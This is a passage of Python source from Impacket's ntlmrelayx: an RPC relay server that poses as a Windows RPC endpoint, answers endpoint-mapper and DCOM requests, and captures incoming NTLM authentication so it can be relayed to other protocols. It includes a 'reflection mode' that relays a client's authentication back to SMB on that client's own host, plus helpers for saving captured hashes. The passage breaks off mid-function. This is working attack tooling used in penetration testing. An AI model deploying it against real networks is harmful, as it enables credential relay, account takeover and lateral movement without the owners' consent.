#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright Fortra, LLC and its affiliated companies # # All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information # # RPC Relay Server inspired from DCERPCServer # # Authors: # Sylvain Heiniger / Compass Security (@sploutchy / https://www.compass-security.com) # # Description: # This is the RPC server which relays the connections # to other protocols import socketserver import struct from impacket.dcerpc.v5.epm import * from impacket.dcerpc.v5.rpcrt import * from impacket.dcerpc.v5.dcomrt import * from impacket.ntlm import NTLMSSP_AUTH_NEGOTIATE, NTLMSSP_AUTH_CHALLENGE_RESPONSE, NTLMSSP_AUTH_CHALLENGE from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile from impacket.nt_errors import ERROR_MESSAGES, STATUS_SUCCESS from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections from impacket.examples.utils import get_address class RPCRelayServer(Thread): class RPCSocketServer(socketserver.ThreadingMixIn, socketserver.TCPServer): def __init__(self, server_address, RequestHandlerClass, config): self.config = config self.daemon_threads = True self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6) socketserver.TCPServer.allow_reuse_address = True socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass) class RPCHandler(socketserver.BaseRequestHandler): def __init__(self, request, client_address, server): self.client = None self.target = None self.auth_user = None self.transport = None self.request_header = None self.request_pdu_data = None self.request_sec_trailer = None self.challengeMessage = None socketserver.BaseRequestHandler.__init__(self, request, client_address, server) def setup(self): self.transport = DCERPCServer(self.request) IObjectExporterCallBacks = { 5: self.send_ServerAlive2Response, } self.transport.addCallbacks(bin_to_uuidtup(IID_IObjectExporter), "135", IObjectExporterCallBacks) IEPMCallBacks = { 3: self.handle_epmap } self.transport.addCallbacks(bin_to_uuidtup(MSRPC_UUID_PORTMAP), "135", IEPMCallBacks) if self.server.config.target is None: # Reflection mode, defaults to SMB at the target, for now self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % self.client_address[0]) def handle_epmap(self, data): request = ept_map(data) resp = ept_mapResponse() tow_arr = twr_p_t_array() resp['status'] = 0 resp['num_towers'] = 1 req_handle = ept_lookup_handle_t() req_handle['context_handle_attributes'] = 0 req_handle['context_handle_uuid'] = b'\00'*20 resp['entry_handle'] = req_handle resp_tower = b''.join(request['map_tower']['tower_octet_string']) # just reflect the tower back resp_tower_p = twr_p_t() resp_tower_p['tower_length'] = len(resp_tower) resp_tower_p['tower_octet_string'] = resp_tower resp_tower_p['ReferentID'] = 3 tow_arr['Data'].append(resp_tower_p) tow_arr['MaximumCount'] = request['max_towers'] resp['ITowers'] = tow_arr return resp def send_ServerAlive2Response(self, request): response = ServerAlive2Response() stringBindings = [(TOWERID_DOD_TCP, self.target.hostname)] securityBindings = [(RPC_C_AUTHN_WINNT, "")] array = b'' for wTowerId, aNetworkAddr in stringBindings: array += wTowerId.to_bytes(1, byteorder='little') # formatting in a ushort is performed later array += aNetworkAddr.encode('utf8') + b'\x00' array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment response['ppdsaOrBindings']['wSecurityOffset'] = len(array) for wAuthnSvc, aPrincName in securityBindings: array += wAuthnSvc.to_bytes(1, byteorder='little') array += b'\xff' # This should be \xff\xff but as it's formatted on a ushort, it doesn't work |-( array += aPrincName.encode('utf8') + b'\x00' array += b'\x00' * (2 - (len(array) % 2)) # Fix alignment response['ppdsaOrBindings']['wNumEntries'] = len(array) response['ppdsaOrBindings']['aStringArray'] = array return response def handle(self): try: while True: data = self.transport.recv() if data is None: # No data: connection closed LOG.debug('(RPC): Connection closed by client') return response = self.handle_single_request(data) # if not response: # Nothing more to say, close connection # return if response: LOG.debug('(RPC): Sending packet of type %s' % msrpc_message_type[response['type']]) self.transport.send(response) except KeyboardInterrupt: raise except ConnectionResetError: LOG.error("(RPC): Connection reset.") except Exception as e: LOG.debug("(RPC): Exception:", exc_info=True) LOG.error('(RPC): Exception in RPC request handler: %s' % e) def handle_single_request(self, data): self.request_header = MSRPCHeader(data) req_type = self.request_header['type'] LOG.debug('(RPC): Received packet of type %s' % msrpc_message_type[req_type]) if req_type in (MSRPC_BIND, MSRPC_ALTERCTX): self.request_pdu_data = MSRPCRelayBind(self.request_header['pduData']) elif req_type == MSRPC_AUTH3: # We don't need the data and don't have AUTH3 Structure anyway # self.requestPduData = MSRPCAUTH3(self.requestHeader['pduData']) pass elif req_type == MSRPC_REQUEST: # This is a RPC request, we try to answer it the best we can. return self.transport.processRequest(data) else: LOG.error('(RPC): Packet type received not supported (yet): %a' % msrpc_message_type[req_type]) return self.send_error(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE) if self.request_header['auth_len'] <= 0: if req_type == MSRPC_BIND: # Let's answer to the bind anyway, maybe a second request with authentication comes later LOG.debug('(RPC): Answering to a BIND without authentication') return self.transport.processRequest(data) LOG.error('(RPC): Packet is no BIND and does not contain authentication') return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH) self.request_sec_trailer = SEC_TRAILER(self.request_header['sec_trailer']) auth_type = self.request_sec_trailer['auth_type'] if auth_type == RPC_C_AUTHN_NONE: # What should we do here :( LOG.error('(RPC): Packet contains "None" authentication') return self.send_error(MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH) elif auth_type == RPC_C_AUTHN_GSS_NEGOTIATE: if req_type == MSRPC_AUTH3: raise Exception('AUTH3 packet contains "SPNEGO" authentication') # Negotiate NTLM! raise NotImplementedError('SPNEGO auth_type not implemented yet') elif auth_type == RPC_C_AUTHN_WINNT or auth_type == RPC_C_AUTHN_DEFAULT: # Great success! if req_type not in (MSRPC_BIND, MSRPC_ALTERCTX, MSRPC_AUTH3): raise Exception('Packet type received not supported (yet): %s' % msrpc_message_type[req_type]) return self.negotiate_ntlm_session() elif auth_type == RPC_C_AUTHN_GSS_SCHANNEL or auth_type == RPC_C_AUTHN_GSS_KERBEROS or auth_type == RPC_C_AUTHN_NETLOGON: # Try to ask for NTLM? # Reply with rpc_s_unknown_authn_service? # Try answering with other error codes? raise NotImplementedError('Auth type %s not implemented yet' % auth_type) else: raise Exception('Auth type received not supported (yet): %d' % auth_type) def negotiate_ntlm_session(self): token = self.request_header['auth_data'] messageType = struct.unpack('